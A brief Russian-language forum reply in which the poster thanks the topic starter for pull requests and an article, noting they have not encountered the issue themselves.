Не удивлюсь, хотя сам не сталкивался.
Респект ТСу за пулл-реквесты и статью.
Спасибо!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх